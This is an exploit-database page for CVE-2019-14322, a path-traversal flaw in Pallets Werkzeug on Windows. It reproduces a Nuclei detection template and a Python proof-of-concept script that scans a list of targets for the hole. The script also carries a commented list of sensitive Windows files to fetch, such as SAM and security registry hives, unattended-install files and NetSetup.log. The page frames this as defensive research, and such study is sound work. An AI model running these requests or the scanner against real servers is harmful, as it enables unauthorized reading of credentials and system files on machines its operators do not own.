Skip to content
Appaloosa Scout
Language selector
fr en

Materialized exploit

CVE-2019-14322

HIGH

2 public exploit(s) for this CVE, 2 materialized with their code.

CVE page All exploits
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
Nuclei high Verified
Source

Pallets Werkzeug <0.15.5 - Local File Inclusion

By projectdiscovery

How to test this exploit

The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.

nuclei -id CVE-2019-14322 -u https://your-target

Template yaml 

id: CVE-2019-14322

info:
  name: Pallets Werkzeug <0.15.5 - Local File Inclusion
  author: madrobot
  severity: high
  description: |
    Pallets Werkzeug before 0.15.5 is susceptible to local file inclusion because SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Upgrade Pallets Werkzeug to version 0.15.5 or above to mitigate the LFI vulnerability.
  reference:
    - https://palletsprojects.com/blog/werkzeug-0-15-5-released/
    - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14322
    - https://github.com/faisalfs10x/CVE-2019-14322-scanner
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-14322
    cwe-id: CWE-22
    epss-score: 0.55803
    epss-percentile: 0.98968
    cpe: cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: microsoft
    product: windows
    shodan-query: cpe:"cpe:2.3:o:microsoft:windows"
  tags: cve,cve2019,lfi,odoo,packetstorm,palletsprojects,microsoft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/base_import/static/c:/windows/win.ini"
      - "{{BaseURL}}/web/static/c:/windows/win.ini"
      - "{{BaseURL}}/base/static/c:/windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204388426cb3911a2b145aef3418e87b5d87a301e25ab7116f41d316b184546bbc0220135b9eae8575fabf739e50bf655697afca41b468b08b1d16c70dea0d26c75062:922c64590222798bb761d5b6d8e72950
ExploitDB webapps python
Source

Pallets Werkzeug 0.15.4 - Path Traversal

By faisalfs10x

How to test this exploit

Web exploit. Deploy a vulnerable instance in a lab, serve the script/request against it, and observe the response.

python3 50101.py

Code py 

# Exploit Title: Pallets Werkzeug 0.15.4 - Path Traversal
# Date: 06 July 2021
# Original Author: Emre ÖVÜNÇ
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://palletsprojects.com/
# Software Link: https://github.com/pallets/werkzeug
# Version: Prior to 0.15.5
# Tested on: Windows Server
# CVE: 2019-14322
# Credit: Emre Övünç and Olivier Dony for responsibly reporting the issue
# CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-14322
# Reference : https://palletsprojects.com/blog/werkzeug-0-15-5-released/

Description : Prior to 0.15.5, it was possible for a third party to potentially access arbitrary files when the application used SharedDataMiddleware on Windows. Due to the way Python's os.path.join() function works on Windows, a path segment with a drive name will change the drive of the final path. TLDR; In Pallets Werkzeug before 0.15.5, SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames lead to arbitrary file download.

#!/usr/bin/env python3
# PoC code by @faisalfs10x [https://github.com/faisalfs10x]

""" $ pip3 install colorama==0.3.3, argparse, requests, urllib3
    $ python3 CVE-2019-14322.py -l list_target.txt"
"""
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import requests
from colorama import Fore, Back, Style, init

# Colors
red = '\033[91m'
green = '\033[92m'
white = '\033[97m'
yellow = '\033[93m'
bold = '\033[1m'
end = '\033[0m'

init(autoreset=True)

def banner_motd():
    print(Fore.CYAN +Style.BRIGHT +"""

        CVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s
""" % (bold, red, white, yellow, white, end))

banner_motd()

# list of sensitive files to grab in windows

# %windir%\repair\sam
# %windir%\System32\config\RegBack\SAM
# %windir%\repair\system
# %windir%\repair\software
# %windir%\repair\security
# %windir%\debug\NetSetup.log (AD domain name, DC name, internal IP, DA account)
# %windir%\iis6.log (5,6 or 7)
# %windir%\system32\logfiles\httperr\httperr1.log
# C:\sysprep.inf
# C:\sysprep\sysprep.inf
# C:\sysprep\sysprep.xml
# %windir%\Panther\Unattended.xml
# C:\inetpub\wwwroot\Web.config
# %windir%\system32\config\AppEvent.Evt (Application log)
# %windir%\system32\config\SecEvent.Evt (Security log)
# %windir%\system32\config\default.sav
# %windir%\system32\config\security.sav
# %windir%\system32\config\software.sav
# %windir%\system32\config\system.sav
# %windir%\system32\inetsrv\config\applicationHost.config
# %windir%\system32\inetsrv\config\schema\ASPNET_schema.xml
# %windir%\System32\drivers\etc\hosts (dns entries)
# %windir%\System32\drivers\etc\networks (network settings)
# %windir%\system32\config\SAM
# TLDR:
# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml
# C:/windows/system32/inetsrv/config/applicationHost.config
# C:/windows/system32/logfiles/httperr/httperr1.log
# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)
# C:/windows/system32/drivers/etc/hosts - (dns entries)
# C:/windows/system32/drivers/etc/networks - (network settings)

def check(url):

	# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)
	for endpoint in [
			'https://{}/base_import/static/c:/windows/win.ini',
			#'https://{}/web/static/c:/windows/win.ini',
			#'https://{}/base/static/c:/windows/win.ini'
			]:
		try:

			url2 = endpoint.format(url)
			resp = requests.get(url2, verify=False, timeout=5)

			if 'fonts' and 'files' and 'extensions' in resp.text:
				print(Fore.LIGHTGREEN_EX +Style.BRIGHT +" [+] " +url2+ " : vulnerable====[+]")
				with open('CVE-2019-14322_result.txt', 'a+') as output:
					output.write('{}\n'.format(url2))
					output.close()

			else:
				print(" [-] " +url+ " : not vulnerable")

		except KeyboardInterrupt:
			exit('User aborted!')
		except:
			print(" [-] " +url+ " : not vulnerable")


def main(args):

    f = open(listfile, "r")
    for w in f:
        url = w.strip()

        check(url)

if __name__ == '__main__':

    try:

        parser = argparse.ArgumentParser(description='CVE-2019-14322')
        parser.add_argument("-l","--targetlist",required=True, help = "target list in file")
        args = parser.parse_args()
        listfile = args.targetlist

        main(args)

    except KeyboardInterrupt:
        exit('User aborted!')